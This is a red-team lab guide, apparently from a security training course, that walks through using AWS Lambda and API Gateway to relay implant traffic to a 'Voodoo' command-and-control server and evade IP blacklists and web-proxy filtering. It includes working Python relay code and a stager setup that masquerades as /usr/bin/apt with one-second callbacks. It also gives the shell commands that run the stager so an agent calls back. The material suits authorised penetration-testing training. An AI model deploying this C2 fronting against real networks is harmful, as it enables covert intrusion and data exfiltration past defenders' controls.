
Often	during	pen-testing	engagements	we	run	into	clients	who	utilize	IP	blacklists	or	IP	whitelists	to	filter	outbound	communications.	Many	Web	proxy	companies	also	utilize	metrics	like	domain	registration	date,	SSL
certificate	provider,	and	total	site	traffic	to	block	potentially	malicious	traffic	for	their	customers.	All	of	these	filtering	methods	can	prove	problematic	to	red	teams	trying	to	get	data	into	or	out	of	the	customer’s	network.

Cloud	services,	however,	can	provide	a	quick	and	easy	defeat	for	these	defenses.	Since	these	services	are	hosted	by	large	reputable	providers	they	often	get	a	free	pass	on	IP	blacklists.	For	example,	Amazon’s	AWS	web
gateway	not	only	provides	rolling	IPs	in	a	reputable	CIDR	block	but	also	provides	a	subdomain	under	the	vetted	amazonaws.com	root	domain,	as	well	as	a	valid	TLS	certificate	that	isn’t	as	suspicious	as	say	a	cert	issued	by
Let’s	encrypt.	As	seen	below,	most	web	proxy	products	classify	AWS	API	gateway	URLs	into	benign	categories	that	should	get	right	past	the	filter.	In	this	blog	I’ll	utilize	AWS	web	gateway	to	front	agent	traffic	to	our
Voodoo	Command	and	Control	server.

	

This	lab	assumes	you	still	have	the	Voodoo	LP	running	using	a	valid	TLS	certificate	from	the	previous	labs.

	

Lambda
Browse	to	the	Lambda	service	within	the	AWS	web	console	within	the	Ohio	(us-east-2)	region:

	

Click	the	“Create	function”	button

Select:	“Author	from	scratch”
Function	name:	myLambdaFunction001
Runtime:	Python	3.7
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Click	the	“Create	function”	button.

	

Copy	and	Paste	the	following	code	into	the	lambda	function	window:

import ssl
import urllib.request
import base64

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

def lambda_handler(event, context):
    url = 'https://x.x.x.x/aws/gateway/'
    
    print("event: " + str(event)) # DEBUG
    print("event['body']: " + str(event['body'])) # DEBUG
    
    data = base64.b64decode(event['body'])
    headers = event['headers']
    
    req = urllib.request.Request(url, data, headers)
    x = urllib.request.urlopen(req, context=ctx)
    
    return {
        "isBase64Encoded": True,
        "statusCode": 200,
        "headers": {"Content-Type": "application/octet-stream"},
        "body": base64.b64encode(x.read()).decode('utf-8')
    }     

This	code	block	is	responsible	for	forwarding	the	AWS	API	Gateway	request	to	the	Voodoo	LP.	The	AWS	API	gateway	interface	doesn’t	pass	raw	bytes	around	but	instead	uses	base64	encoded	data.	Thus,	this	function
just	encodes/decodes	based64	data	to/from	the	API	gateway.

	

Update	the	“x.x.x.x”	to	the	unique	subdomain	that	Voodoo	is	currently	using.

Our	screen	should	now	look	similar	to	the	following:

Double check that you have replaced x.x.x.x with the unique subdomain of you Voodoo LP instance!
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Click	the	“Deploy”	button	in	the	middle	of	the	web	interface...

	

API	Gateway
The	next	piece	is	to	setup	the	API	Gateway	to	accept	requests	and	forward	them	to	the	lambda	function.

Browse	to	the	“API	Gateway”	service	within	the	Ohio	(us-east-2)	region	of	AWS:

	

Click	the	“Create	API”	button.

Choose	a	“REST	API”…

…	by	clicking	the	“Build”	button	within	it’s	block.

	

Set	the	API	Name	to	“VoodooProxy“:
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And	click	the	“Create	API”	button.

	

Click	on	the	first	“Settings”	link	within	the	“VoodooProxy”	API:

	

Under	the	“Binary	Media	Types”	section	add	the	following	as	a	type:

*/*

Our	screen	should	now	look	similar	to	the	following:
BHUSA20

21

Copyright ©2021 Stage 2 Security All rights reserved.



Click	the	“Save	Changes”	button.

	

Click	on	the	“Resources”	link	within	the	“VoodooProxy”	API:
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Click	on	the	“/”	resource.

Under	the	root	resource	“/”	create	a	new	resource	with	the	path	set	to	{proxy+}	by	first	clicking	the	“Actions”	button	and	then	clicking	the	“Create	Resource“	link:

Check	the	box	to	“Configure	as	proxy	resource”

Resource	Name:	v1

Resource	Path:	{proxy+}

And	click	the	“Create	Resource”	button.

{proxy+} is a greedy path variable

	

Our	screen	should	now	look	similar	to	the	following:

	

Input	the	Lambda	function	name	(e.g.	)
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And	then	click	the	“Save”	button.

	

You	will	see	a	message	similar	to	the	following:

Next	click	the	“OK”	button.

	

Our	screen	should	now	look	similar	to	the	following:
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We	can	now	deploy	this	API	via	clicking	on	the	“Actions”	drop-down	button	and	clicking	the	“Deploy	API“	link:

	

Set	the:

Deployment	stage	->	Select	“[New	Stage]”	from	drop-down	box
Stage	name:	prod

Next	click	the	“Deploy”	button.

	

Our	screen	should	now	look	similar	to	the	following:
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Note:	the	“Invoke	URL”	at	the	top	of	the	screen	(e.g.	https://fdvnpit718.execute-api.us-east-2.amazonaws.com/prod	).

	

Voodoo	Stager
The	final	step	is	to	create	a	Voodoo	Stager	that	points	to	the	AWS	API	Gateway	URL	and	execute	that	on	target.	For	this	we	just	need	to	create	a	new	stager	using	the	HTTPS	call	back	method.	Change	the	domain	field
to	point	to	the	AWS	API	Gateway	domain.	The	URL	Path	needs	to	start	the	same	patch	as	shown	in	your	API	Gateway	Invoke	URL	but	can	have	anything	tacked	on	the	end	that	you’d	like.	Finally,	select	the	proper	OS,
Architecture,	and	host	binary	for	your	target	then	click	Update	and	download	the	payload.

	

Create	a	Stager	in	Voodoo	similar	to	the	following	(replacing	"<unique_string_here>"	with	your	unique	"Invoke	URL"	e.g.	fdvnpit718):

Name:	StagerAWSProxy
Domain:	<unique_string_here>.execute-api.us-east-2.amazonaws.com
Port:	443
Callback	interval	(seconds):	1
URL	Path:	/prod/partial_update
Proxy:	Use	host	settings
Custom	headers:	None;	N/A
Target:	Linux
Architecture:	x64
Host	process:	/usr/bin/apt
Command	Argument	/	Passphrase:	update

Next,	click	the	“Update”	button.

Our	screen	should	now	look	similar	to	the	following:
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Now	SSH	into	the	Public	EC2	instance	and	execute	the	Voodoo	stager:

chmod 777 /shared/voodoo_ce/app/resources/StagerAWSProxy
/shared/voodoo_ce/app/resources/StagerAWSProxy /usr/bin/apt update

We	should	see	output	similar	to	the	following:

root@ip-10-0-1-49:/shared# chmod 777 /shared/voodoo_ce/app/resources/StagerAWSProxy
root@ip-10-0-1-49:/shared# /shared/voodoo_ce/app/resources/StagerAWSProxy /usr/bin/apt update
root@ip-10-0-1-49:/shared# 

	

And	in	the	Voodoo	Web	Interface…
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We	should	now	see	a	new	agent	calling	back	through	this	proxy!
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